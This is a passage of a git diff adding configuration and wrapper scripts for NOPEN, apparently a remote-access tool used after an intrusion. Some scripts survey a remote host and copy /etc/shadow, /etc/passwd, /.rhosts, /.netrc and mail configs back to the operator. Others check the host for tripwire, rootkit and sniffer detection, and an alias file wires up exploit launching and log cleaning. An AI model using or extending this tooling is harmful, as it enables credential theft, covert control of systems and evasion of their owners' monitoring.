+#-fget /tmp/getting +-lsh echo "-lsh rm /tmp/old.file.name ; mv /tmp/current.file.name /tmp/old.file.name; rm /tmp/current.list" >>/tmp/gs.mon +-lsh echo " sleep $M_TIMEOUT" >>/tmp/gs.mon +-lsh echo " -gs /tmp/gs.mon " >>/tmp/gs.mon + +#-lsh rm /tmp/old.file.name ; mv /tmp/current.file.name /tmp/old.file.name; rm /tmp/current.list + + + + diff --git a/Linux/etc/gs.moresurvey b/Linux/etc/gs.moresurvey new file mode 100644 index 0000000..aa7ae98 --- /dev/null +++ b/Linux/etc/gs.moresurvey @@ -0,0 +1,4 @@ +#NOGS +# Look in -strings output below for Engine directory -nohist +-strings /platform -nohist +# Look in -strings output above for Engine directory -nohist diff --git a/Linux/etc/gs.movemail b/Linux/etc/gs.movemail new file mode 100644 index 0000000..d5d983b --- /dev/null +++ b/Linux/etc/gs.movemail @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/automovemail $GSOPTIONS -nohist +-gs movemailnext -nohist + diff --git a/Linux/etc/gs.mysql b/Linux/etc/gs.mysql new file mode 100644 index 0000000..f0480c6 --- /dev/null +++ b/Linux/etc/gs.mysql @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/automysql $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.netstatp b/Linux/etc/gs.netstatp new file mode 100644 index 0000000..387d799 --- /dev/null +++ b/Linux/etc/gs.netstatp @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autonetstatp $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.newdone b/Linux/etc/gs.newdone new file mode 100644 index 0000000..7e87ee0 --- /dev/null +++ b/Linux/etc/gs.newdone @@ -0,0 +1,9 @@ +#NOGS +-lcd /current/down -nohist +-lsh -nohist [ "$GSOPTIONS" = "new" ] && rm -f /current/tmp/autonewdone.$NOPEN_RHOSTNAME && touch /current/tmp/autonewdone.$NOPEN_RHOSTNAME.new ; /current/etc/autocheck && /current/etc/autonewdone $GSOPTIONS +-gs /port -nohist +# Redo-ing -mynorc and -mypath in case newdone changed our path or aliases -nohist +-mynorc -nohist +-mypath -nohist +-myname2 -nohist +-myname -nohist diff --git a/Linux/etc/gs.newdone.junos b/Linux/etc/gs.newdone.junos new file mode 100644 index 0000000..5e068c5 --- /dev/null +++ b/Linux/etc/gs.newdone.junos @@ -0,0 +1,9 @@ +#NOGS +-lcd /current/down -nohist +-lsh -nohist [ "$GSOPTIONS" = "new" ] && rm -f /current/tmp/autonewdone.$NOPEN_RHOSTNAME && touch /current/tmp/autonewdone.$NOPEN_RHOSTNAME.new ; /current/etc/autocheck && /current/etc/autonewdone.junos $GSOPTIONS +-gs /port -nohist +# Redo-ing -mynorc and -mypath in case newdone changed our path or aliases -nohist +-mynorc -nohist +-mypath -nohist +-myname2 -nohist +-myname -nohist diff --git a/Linux/etc/gs.newdone.main b/Linux/etc/gs.newdone.main new file mode 100644 index 0000000..1c272b4 --- /dev/null +++ b/Linux/etc/gs.newdone.main @@ -0,0 +1,9 @@ +#NOGS +-lcd /current/down -nohist +-lsh -nohist [ "$GSOPTIONS" = "new" ] && rm -f /current/tmp/autonewdone.$NOPEN_RHOSTNAME && touch /current/tmp/autonewdone.$NOPEN_RHOSTNAME.new ; /current/etc/autonewdone.main $GSOPTIONS +-gs /port -nohist +# Redo-ing -mynorc and -mypath in case newdone changed our path or aliases -nohist +-mynorc -nohist +-mypath -nohist +-myname2 -nohist +-myname -nohist diff --git a/Linux/etc/gs.nocheck b/Linux/etc/gs.nocheck new file mode 100644 index 0000000..7c67ddf --- /dev/null +++ b/Linux/etc/gs.nocheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autonocheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.nopencaller b/Linux/etc/gs.nopencaller new file mode 100644 index 0000000..97a33a6 --- /dev/null +++ b/Linux/etc/gs.nopencaller @@ -0,0 +1,3 @@ +#NOGS +-nohist -lsh /current/etc/autonopencaller $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.noproxy b/Linux/etc/gs.noproxy new file mode 100644 index 0000000..73e7b44 --- /dev/null +++ b/Linux/etc/gs.noproxy @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/autonoproxy $GSOPTIONS -nohist +-gs /port -nohist + diff --git a/Linux/etc/gs.offset b/Linux/etc/gs.offset new file mode 100644 index 0000000..6d49dfc --- /dev/null +++ b/Linux/etc/gs.offset @@ -0,0 +1,3 @@ +#NOGS +-lsh [ "$GSOPTIONS" ] || export GSOPTIONS=. ; for h in /current/down/hostinfo.*$GSOPTIONS* ; do echo -en "$h: \\t\\t" ; (grep -i ^UTC.OFFSET $h || echo NO OFFSET FOUND) | sed "s/UTC Offset: /UTC_OFFSET=/" ; done -nohist + diff --git a/Linux/etc/gs.oldsurvey b/Linux/etc/gs.oldsurvey new file mode 100644 index 0000000..9ca8402 --- /dev/null +++ b/Linux/etc/gs.oldsurvey @@ -0,0 +1,53 @@ +#NOGS +# 2008-11-05 16:34:11 EST gs.survey +-gs info + +-get -q /etc/security/passwd /etc/passwd /etc/shadow /etc/inetd.conf /etc/master.passwd /etc/inet/inetd.conf /etc/xinetd* +-get -q /etc/aliases /etc/mail/aliases /etc/group +-get -q /etc/sendmail.cf /etc/mail/sendmail.cf /etc/postfix/main.cf +-get -q /etc/fstab /etc/dfs/dfstab /etc/vfstab /etc/mnttab +-get -q /etc/exports /etc/rmtab +-get -q /etc/ftpusers +-get -q /etc/hosts /etc/hosts.allow /etc/hosts.deny /etc/inet/hosts +-get -q /etc/hosts.equiv /.rhosts /.netrc +-get -q /etc/nsswitch.conf /etc/resolv.conf +-get -q /etc/syslog.conf /etc/named* +-ls /etc +-ls /etc/mail /etc/sendmail* /etc/postfix +-ls /usr/local/bin +-ls /usr/local/src +-ls -R /var/named* /etc/named* + +-gs ssh +-gs tripwire +-gs rootkit +-gs ident + +=arp +dmesg +hostid +ifconfig -a +modinfo +mount +netstat -an +netstat -in +netstat -pn +netstat -rn +=rpcinfo +rpm -qa --rcfile `ls -1 /usr/lib/rpm/rpmrc /usr/lib/rpm/red-hat/rpmrc /etc/rpmrc /usr/lib/rpm/redhat/rpmrc 2>/dev/null | tr "\n" ":"` +#oldway: rpm -qa +=surveydothis +=surveydothis2 + +=croncheck noget +grep -v "#" /etc/inetd.conf +-ls /etc/named* +-ls /var/named* +-cat /etc/syslog.conf +-ls -t /var/adm +-tail -50 /var/adm/messages + +-gs moresurvey +-gs histories -a0 -p -x +-beep + diff --git a/Linux/etc/gs.oracle b/Linux/etc/gs.oracle new file mode 100644 index 0000000..c2cd421 --- /dev/null +++ b/Linux/etc/gs.oracle @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autooracle $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.orcheck b/Linux/etc/gs.orcheck new file mode 100644 index 0000000..e7e216b --- /dev/null +++ b/Linux/etc/gs.orcheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoorcheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.os b/Linux/etc/gs.os new file mode 100644 index 0000000..d8ce0da --- /dev/null +++ b/Linux/etc/gs.os @@ -0,0 +1,2 @@ +#NOGS +-lsh if [ "$NOPEN_SERVERINFO" ] ; then echo $NOPEN_SERVERINFO ; else grep "^OS:" /current/down/hostinfo.$NOPEN_RHOSTNAME ; fi -nohist diff --git a/Linux/etc/gs.pacct b/Linux/etc/gs.pacct new file mode 100644 index 0000000..036c2c2 --- /dev/null +++ b/Linux/etc/gs.pacct @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autopacct $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.panic b/Linux/etc/gs.panic new file mode 100644 index 0000000..55d8035 --- /dev/null +++ b/Linux/etc/gs.panic @@ -0,0 +1,3 @@ +#NOGS +-lsh -nohist /current/etc/autopanic $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.pccheck b/Linux/etc/gs.pccheck new file mode 100644 index 0000000..8e750e5 --- /dev/null +++ b/Linux/etc/gs.pccheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autopccheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.pidsum b/Linux/etc/gs.pidsum new file mode 100644 index 0000000..3ec5ac6 --- /dev/null +++ b/Linux/etc/gs.pidsum @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autopidsum $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.pinfo b/Linux/etc/gs.pinfo new file mode 100644 index 0000000..12ab5f4 --- /dev/null +++ b/Linux/etc/gs.pinfo @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autopinfo $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.pitchlog b/Linux/etc/gs.pitchlog new file mode 100644 index 0000000..0907846 --- /dev/null +++ b/Linux/etc/gs.pitchlog @@ -0,0 +1,2 @@ +#NOGS +-lsh if [ "x$GSOPTIONS" = "x-h" -o "x$GSOPTIONS" = "x" ] ; then echo -e "\\nUsage: -gs pitchlog [comment to log all on one line]\\n" ; else echo -e `date -u` "$HOSTNAME/$NOPEN_RHOSTNAME: $GSOPTIONS" >> /current/down/pitch-problems.txt ; echo -e "\\n`cat /current/down/pitch-problems.txt`\\n" ; fi -nohist diff --git a/Linux/etc/gs.popup b/Linux/etc/gs.popup new file mode 100644 index 0000000..dc8433b --- /dev/null +++ b/Linux/etc/gs.popup @@ -0,0 +1,2 @@ +#NOGS +-lsh /current/etc/autopopup $GSOPTIONS -nohist diff --git a/Linux/etc/gs.problem b/Linux/etc/gs.problem new file mode 100644 index 0000000..4918252 --- /dev/null +++ b/Linux/etc/gs.problem @@ -0,0 +1,2 @@ +#NOGS +-lsh /current/etc/autoproblem $GSOPTIONS -nohist diff --git a/Linux/etc/gs.promiscdetect b/Linux/etc/gs.promiscdetect new file mode 100644 index 0000000..cf07f54 --- /dev/null +++ b/Linux/etc/gs.promiscdetect @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autopromiscdetect $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.pscheck b/Linux/etc/gs.pscheck new file mode 100644 index 0000000..3333187 --- /dev/null +++ b/Linux/etc/gs.pscheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autopscheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.pscolor b/Linux/etc/gs.pscolor new file mode 100644 index 0000000..80da4f5 --- /dev/null +++ b/Linux/etc/gs.pscolor @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autopscolor $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.psdiff b/Linux/etc/gs.psdiff new file mode 100644 index 0000000..59d05bb --- /dev/null +++ b/Linux/etc/gs.psdiff @@ -0,0 +1,8 @@ +#NOGS +-lsh rm -f /current/ps.dev /current/ps.not -nohist +-cd /dev -nohist +=ps > L:/current/ps.dev -nohist +-cdp -nohist +=ps > L:/current/ps.not -nohist +-lsh mv -f /current/ps.dev /current/down/ps.dev.$NOPEN_RHOSTNAME ; mv -f /current/ps.not /current/down/ps.not.$NOPEN_RHOSTNAME -nohist +-lsh diff /current/down/ps.dev.$NOPEN_RHOSTNAME /current/down/ps.not.$NOPEN_RHOSTNAME | sed "s/^>/HIDDEN?>/g" | sed "s/^/dev/null ; rmdir "/current/tmp/autodone.$NOPEN_RHOSTNAME" "/current/tmp/autodone.$NOPEN_RHOSTNAME" "/current/tmp/$NOPEN_RHOSTNAME" 2>/dev/null + + +-lsh -nohist [ "$GSOPTIONS" = "new" ] && rm -f "/current/tmp/autonewdone.$NOPEN_RHOSTNAME" && touch "/current/tmp/autonewdone.$NOPEN_RHOSTNAME.new" ; /current/etc/autocheck && /current/etc/autorunonce $GSOPTIONS + + +-gs /port -nohist +# Redo-ing -mynorc and -mypath in case newdone changed our path or aliases -nohist +-mynorc -nohist +-mypath -nohist +-myname2 -nohist +-myname -nohist + diff --git a/Linux/etc/gs.runoncehelp b/Linux/etc/gs.runoncehelp new file mode 100644 index 0000000..d90b297 --- /dev/null +++ b/Linux/etc/gs.runoncehelp @@ -0,0 +1,2 @@ +#NOGS +-lsh /current/etc/autorunonce -h $GSOPTIONS -nohist diff --git a/Linux/etc/gs.scans b/Linux/etc/gs.scans new file mode 100644 index 0000000..e78ba0b --- /dev/null +++ b/Linux/etc/gs.scans @@ -0,0 +1,2 @@ +#NOGS +-lsh /current/etc/autoscans $GSOPTIONS -nohist diff --git a/Linux/etc/gs.screenshot b/Linux/etc/gs.screenshot new file mode 100644 index 0000000..fcd9f17 --- /dev/null +++ b/Linux/etc/gs.screenshot @@ -0,0 +1,4 @@ +#NOGS +-nohist -lsh /current/etc/autoscreenshot $GSOPTIONS +-nohist -gs /port + diff --git a/Linux/etc/gs.scriptcheck b/Linux/etc/gs.scriptcheck new file mode 100644 index 0000000..4dcc72a --- /dev/null +++ b/Linux/etc/gs.scriptcheck @@ -0,0 +1,3 @@ +#NOGS +-lsh -nohist /current/etc/autoscriptcheck $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.sessioninit b/Linux/etc/gs.sessioninit new file mode 100644 index 0000000..5bb2267 --- /dev/null +++ b/Linux/etc/gs.sessioninit @@ -0,0 +1,3 @@ +#NOGS +-lsh -nohist /current/etc/autosessioninit $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.skeleton b/Linux/etc/gs.skeleton new file mode 100644 index 0000000..c16a436 --- /dev/null +++ b/Linux/etc/gs.skeleton @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoskeleton $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.slyinstall b/Linux/etc/gs.slyinstall new file mode 100644 index 0000000..b243542 --- /dev/null +++ b/Linux/etc/gs.slyinstall @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoslyinstall $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.sniffdetect b/Linux/etc/gs.sniffdetect new file mode 100644 index 0000000..e9bedfb --- /dev/null +++ b/Linux/etc/gs.sniffdetect @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autosniffdetect $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.sploit b/Linux/etc/gs.sploit new file mode 100644 index 0000000..4794bf7 --- /dev/null +++ b/Linux/etc/gs.sploit @@ -0,0 +1,3 @@ +#NOGS +-lsh cd /current/etc ; chmod +x auto* ; ./autosploit $GSOPTIONS -nohist +-gs /current/etc/autosploitnext -nohist diff --git a/Linux/etc/gs.spooftest b/Linux/etc/gs.spooftest new file mode 100644 index 0000000..4a455ca --- /dev/null +++ b/Linux/etc/gs.spooftest @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autospooftest $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.ssh.old_DEPRECATED b/Linux/etc/gs.ssh.old_DEPRECATED new file mode 100644 index 0000000..1de7a2f --- /dev/null +++ b/Linux/etc/gs.ssh.old_DEPRECATED @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/autossh.old $GSOPTIONS -nohist +-gs /port -nohist + diff --git a/Linux/etc/gs.ssh_DEPRECATED b/Linux/etc/gs.ssh_DEPRECATED new file mode 100644 index 0000000..a4e8043 --- /dev/null +++ b/Linux/etc/gs.ssh_DEPRECATED @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/autossh $GSOPTIONS -nohist +-gs /port -nohist + diff --git a/Linux/etc/gs.sshcheck b/Linux/etc/gs.sshcheck new file mode 100644 index 0000000..a548612 --- /dev/null +++ b/Linux/etc/gs.sshcheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autosshcheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.stoiccheck b/Linux/etc/gs.stoiccheck new file mode 100644 index 0000000..297739e --- /dev/null +++ b/Linux/etc/gs.stoiccheck @@ -0,0 +1,3 @@ +#NOGS +-nohist -lsh /current/etc/autostoiccheck $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.stoicctrl b/Linux/etc/gs.stoicctrl new file mode 100644 index 0000000..7f8fe58 --- /dev/null +++ b/Linux/etc/gs.stoicctrl @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autostoicctrl $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.strifecheck b/Linux/etc/gs.strifecheck new file mode 100644 index 0000000..9ec44af --- /dev/null +++ b/Linux/etc/gs.strifecheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autostrifecheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.survey b/Linux/etc/gs.survey new file mode 100644 index 0000000..148e4b8 --- /dev/null +++ b/Linux/etc/gs.survey @@ -0,0 +1,7 @@ +#NOGS +-lcd /current/down -nohist +-lsh /current/etc/autosurvey $GSOPTIONS -nohist +-gs /port -nohist +# Redo-ing -mynorc and -mypath in case survey changed our path or aliases -nohist +-mynorc -nohist +-mypath -nohist diff --git a/Linux/etc/gs.surveydothis.aix b/Linux/etc/gs.surveydothis.aix new file mode 100644 index 0000000..c561a8a --- /dev/null +++ b/Linux/etc/gs.surveydothis.aix @@ -0,0 +1,37 @@ +#NOGS +# Get the operating system level +oslevel + +# List all installed software +lslpp -L all + +# List loaded kernel extensions +genkex + +# List all installed devices verbosely +lscfg -v + +# List attributes about the system +lsattr -EHl sys0 + +# List attributes about the processor +lsattr -EHl proc0 + +# Reports type of machine +bootinfo -T + +# Displays possible kernel mode (not what its running) +bootinfo -y + +# List of files in the boot directory +-ls /usr/lib/boot + +# What gets run on reboot +cat /etc/inittab + +# List of possible kernel extensions +-ls /usr/lib/drivers/ + +# List system configuration information +prtconf + diff --git a/Linux/etc/gs.surveydothis.linux b/Linux/etc/gs.surveydothis.linux new file mode 100644 index 0000000..e0c1e19 --- /dev/null +++ b/Linux/etc/gs.surveydothis.linux @@ -0,0 +1,4 @@ +#NOGS +-gs ident +/sbin/ksyms -a >>T:/current/.k.tmp +-lsh echo "[/sbin/ksyms -a]" >> /current/down/linuxstats.cmdout.$NOPEN_RHOSTNAME ; cat /current/.k.tmp >> /current/down/linuxstats.cmdout.$NOPEN_RHOSTNAME ; rm /current/.k.tmp diff --git a/Linux/etc/gs.surveydothis.solaris b/Linux/etc/gs.surveydothis.solaris new file mode 100644 index 0000000..16718db --- /dev/null +++ b/Linux/etc/gs.surveydothis.solaris @@ -0,0 +1,7 @@ +#NOGS +eeprom +isainfo -bv ; isainfo -kv ; isainfo -nv ; isalist +pkginfo +psrinfo -v +showrev -a +prtconf -V diff --git a/Linux/etc/gs.swkill b/Linux/etc/gs.swkill new file mode 100644 index 0000000..5e675eb --- /dev/null +++ b/Linux/etc/gs.swkill @@ -0,0 +1,3 @@ +#NOGS +-lsh -nohist /current/etc/autoswkill $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.toast b/Linux/etc/gs.toast new file mode 100644 index 0000000..ec377ff --- /dev/null +++ b/Linux/etc/gs.toast @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autotoast $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.toolcheck b/Linux/etc/gs.toolcheck new file mode 100644 index 0000000..44fec9c --- /dev/null +++ b/Linux/etc/gs.toolcheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autotoolcheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.tput b/Linux/etc/gs.tput new file mode 100644 index 0000000..b1bddf9 --- /dev/null +++ b/Linux/etc/gs.tput @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/autotput $GSOPTIONS -nohist +-gs /port -nohist + diff --git a/Linux/etc/gs.tripwire_DEPRECATED b/Linux/etc/gs.tripwire_DEPRECATED new file mode 100644 index 0000000..4b734b3 --- /dev/null +++ b/Linux/etc/gs.tripwire_DEPRECATED @@ -0,0 +1,22 @@ +#NOGS + +# tripwire +-get -q /etc/twcfg.txt /etc/tw.config /etc/twpol.txt /opt/*/twcfg.txt +-get -q /opt/*/tw.config /opt/*/twpol.txt /usr/etc/twcfg.txt +-get -q /usr/etc/tw.config /usr/etc/twpol.txt /usr/local/etc/twcfg.txt +-get -q /usr/local/etc/tw.config /usr/local/etc/twpol.txt +-get -q /usr/TSS/bin/twcfg.txt /usr/TSS/policy/twpol.txt +-ls /opt/*/lib/tw.db* /opt/*/tw.db* /tmp/twz* /usr/lib/tw.db* /var/lib/tripwire* +-ls /usr/local/*bin/sig* /usr/local/*bin/trip* /usr/local/*bin/twadmin* +-ls /usr/local/trip* /usr/local/etc/trip* /usr/local/tw* /usr/local/etc/tw* +-ls /usr/local/*bin/twprint* /usr/local/lib/tw.db* /usr/local/man/*4*/tw* +-ls /usr/local/man/5*/twfiles* /usr/local/man/*8*/trip* /usr/man/*4*/tw* +-ls /usr/man/5*/twfiles* /usr/man/*8*/trip* /usr/man/*8*/tw* +-ls /usr/share/man/*4*/tw* /usr/share/man/5*/twfiles* /usr/share/man/*8*/sig* +-ls /usr/share/man/*8*/trip* /usr/share/man/*8*/tw* /usr/TSS /usr/TSS/bin +-ls /usr/TSS/policy + +# asset +grep aset /var/spool/cron/crontabs/* +-ls -R /usr/aset + diff --git a/Linux/etc/gs.use b/Linux/etc/gs.use new file mode 100644 index 0000000..4c36a9d --- /dev/null +++ b/Linux/etc/gs.use @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autouse $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.wearcup b/Linux/etc/gs.wearcup new file mode 100644 index 0000000..1ea9361 --- /dev/null +++ b/Linux/etc/gs.wearcup @@ -0,0 +1,3 @@ +#NOGS +-nohist -lsh /current/etc/autowearcup $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.wrapsift b/Linux/etc/gs.wrapsift new file mode 100644 index 0000000..d2cdca8 --- /dev/null +++ b/Linux/etc/gs.wrapsift @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autowrapsift $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/nopennamefix b/Linux/etc/nopennamefix new file mode 100755 index 0000000..788a07d --- /dev/null +++ b/Linux/etc/nopennamefix @@ -0,0 +1,164 @@ +#!/usr/bin/env perl + +## This is meant to be run with -lsh /current/etc/nopennamefix. Reading +## the NOPEN_RHOSTNAME variable, it echos out one or two lines. +## +## If that variable contains no "bad" characters, just the one line is +## echoed out, NOPEN_RHOSTNAME=ORIGINALVALUE. +## +## If that variable DOES contain "bad" characters, two lines are output. +## The NOPEN_RHOSTNAME=FIXEDVALUE line has those characters replaced with +## others. The second line, NOPEN_RHOSTNAME_WITH_BADCHARS=ORIGINALVALUE, +## contains the original definition of NOPEN_RHOSTNAME that was just cleaned. +## +## Any local -lsh commands using the NOPEN_RHOSTNAME variable should always +## use the result of this command via source. The gs.auto script has this +## in it now: +## +## /current/etc/nopennamefix | tee /current/tmp/$NOPEN_MYPID.namefix ; source /current/tmp/$NOPEN_MYPID.namefix +## +## So any subsequent command in that NOPEN window will have that file to +## source and must do so for ALL -lsh commands that use NOPEN_RHOSTNAME: +## -lsh -nohist source /current/tmp/$NOPEN_MYPID.namefix ; echo MORE STUFF with $NOPEN_RHOSTNAME +## + +## +## +$VER="1.0.0.1" ; +$| = 1 ; + +myinit() ; + +my $original = $fixthis; + +#parens +$fixthis =~ s,\(,_.,g; +$fixthis =~ s,\),._,g; + +#brackets +$fixthis =~ s,\{,_..,g; +$fixthis =~ s,\},.._,g; + +#other brackets +$fixthis =~ s,\[,_...,g; +$fixthis =~ s,\],..._,g; + +#quotes +$fixthis =~ s,\",_dblquote_,g; + +##slashes +#$fixthis =~ s,/,_fwdslash_,g; +#$fixthis =~ s,\\,_bwdslash_,g; + +#spaces +$fixthis =~ s,\s,_space_,g; + +#dollar +$fixthis =~ s,\$,_dollar_,g; + +if ($original eq $fixthis) { + print "NOPEN_RHOSTNAME=\"$original\"\n"; +} else { + print "NOPEN_RHOSTNAME_WITH_BADCHARS=\"$original\"\n"; + my $mod = $original; + print "NOPEN_RHOSTNAME=\"$fixthis\"\n"; + $mod =~ s,[\(\)\[\]\{\} \"\$],\?,g; + print "NOPEN_RHOSTNAME_WITH_BADCHARS_ESCAPED=\"$mod\"\n"; + $mod = $original; + $mod =~ s,[\(\)\[\]\{\} \"\$],\.,g; + print "NOPEN_RHOSTNAME_WITH_BADCHARS_DOTTED=\"$mod\"\n"; +} + + +# End with true value as we may someday require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + # $calleddirect is set if + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs namefix @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=0; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs namefix" ; + $vertext = "$prog version $VER\n" ; + + dbg("in autonamefix, got ip = =$callbackip= and port = =$callbackport="); + + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog [HOSTSTRING] + +$prog will use the environment variable NOPEN_RHOSTNAME to build a new +clean hostname variable from. It removes messy characters like parentheses, +dollar signs, etc. Output will consist of one or two lines. The first line, +NOPEN_RHOSTNAME=CONTENT, will either be the original content or the +\"cleaned\" content. If the latter, a second line also appears showing the +original content, shown as NOPEN_RHOSTNAME_WITH_BADCHARS=ORIGCONTENT. + +Bad characters are replaced as follows: + THIS BECOMES THIS + ( _. + ) ._ + { _.. + } .._ + [ _... + ] ..._ + \$ _dollar_ + _space_ + +OPTIONS + + -h/-v Show usage statement/version number + + "; + +my $notdone = " + / _fwdslash_ + \\ _bwdslash_ +"; + + + usage() if ($opt_h or $opt_v); + + if ("@ARGV") { + mydie("See usage via -h"); + mydie("trying this fix, look here for errors:\n". +"mkdir -vp $opdown/\"@ARGV\" ; ls -aldrt $opdown/\"@ARGV\"\n". +`mkdir -vp $opdown/\"@ARGV\" ; ls -aldrt $opdown/\"@ARGV\"`. +"mkdir -vp $opdown/history/\"@ARGV\" ; ls -aldrt $opdown/history/\"@ARGV\"\n". +`mkdir -vp $opdown/history/\"@ARGV\" ; ls -aldrt $opdown/history/\"@ARGV\"`. +"mkdir -vp $opdown/sniffer/\"@ARGV\" ; ls -aldrt $opdown/sniffer/\"@ARGV\"\n". +`mkdir -vp $opdown/sniffer/\"@ARGV\" ; ls -aldrt $opdown/sniffer/\"@ARGV\"`. +"mkdir -vp $opdown/sniffer/\"@ARGV\" ; ls -aldrt $opdown/sniffer/\"@ARGV\"\n". +`mkdir -vp $opdown/sniffer/\"@ARGV\" ; ls -aldrt $opdown/sniffer/\"@ARGV\"`. +"\n\n". +"find $opdir | grep \"@ARGV\"\n". +`find $opdir | grep "@ARGV"`. +""); + } + } + + + $fixthis = $ENV{NOPEN_RHOSTNAME}; + $fixthis = $ARGV[0] if $ARGV[0]; + + mydie("No HOSTSTRING or NOPEN_RHOSTNAME variable to clean") + unless $fixthis; + +} #myinit diff --git a/Linux/etc/norc b/Linux/etc/norc new file mode 100644 index 0000000..ec450f6 --- /dev/null +++ b/Linux/etc/norc @@ -0,0 +1,153 @@ + +# Environment variables for the server start with a ':'. for example: +# :PATH=/bin:/usr/bin +# +# Aliases that start with '-' use builtin commands. Aliases that +# start with '=' run commands in PATH on he server. NOTE: this is +# just a convention and is not enforced. +# +# Last Mod: Thu Aug 30 12:05:54 EDT 2012 + + +# this is the working directory on the server +#WDIR=/tmp/.socket + + +# want color in client? +COLOR=yes + +#Temporary (removed 20 DEC 2011, put back if need be, script still there) +#alias -ifconfig=-gs ifconfig + +# aliases + +alias -l=-ls +alias -lt=-ls -t + +alias =survey=-gs survey +alias =info=-gs info +alias =mgrep=egrep '(^Subject|^From |^To |name=)' +alias =mac= +alias -vget=-get -v +alias -scans=-gs scans +alias -sploit=-gs sploit +alias -jsploit=-gs jsploit +alias =croncheck=-gs croncheck +alias =dfcheck=-gs dfcheck +alias -monitor=-gs monitor +alias -replay=-gs replay +alias -orcheck=-gs orcheck +alias -pccheck=-gs pccheck +alias -logs=-gs logcheck -L +alias -logcheck=-gs logcheck +alias -logclean=-gs grepout +alias -helpall=-gs helpall +alias =pscheck=-gs pscheck +alias =psc=-gs pscolor +alias =autoget=-gs autoget +alias -hostinfo=-lsh source /current/tmp/$NOPEN_MYPID.namefix ; 1x -title hostinfo.$NOPEN_RHOSTNAME -geometry 86x68-0-0 -e "less /current/down/hostinfo.$NOPEN_RHOSTNAME" +alias -dir=-ls +alias -lss=-gs lss +alias -lss.py=-gs lss.py +alias -lssnew=-gs lssnew +alias -close=-lsh closetunnel +alias -fwtunnel=-tunnel 1111 udp +alias -getstrings=-gs getstrings +alias -vgetstrings=-gs getstrings -p +alias -gettail=-gs gettail +alias -gt=-gs gettail +alias -vgettail=-gs gettail -p +alias -vgt=-gs gettail -p +alias =swkill=-gs swkill +alias =swdump=-gs swkill +alias =psdiff=-gs psdiff +alias =stoichidden=-gs stoicctrl -H +alias =stoicdiff=-gs stoicctrl -H +alias -os=-gs os +alias -offset=-gs offset +alias =mkoffset=-gs mkoffset +alias 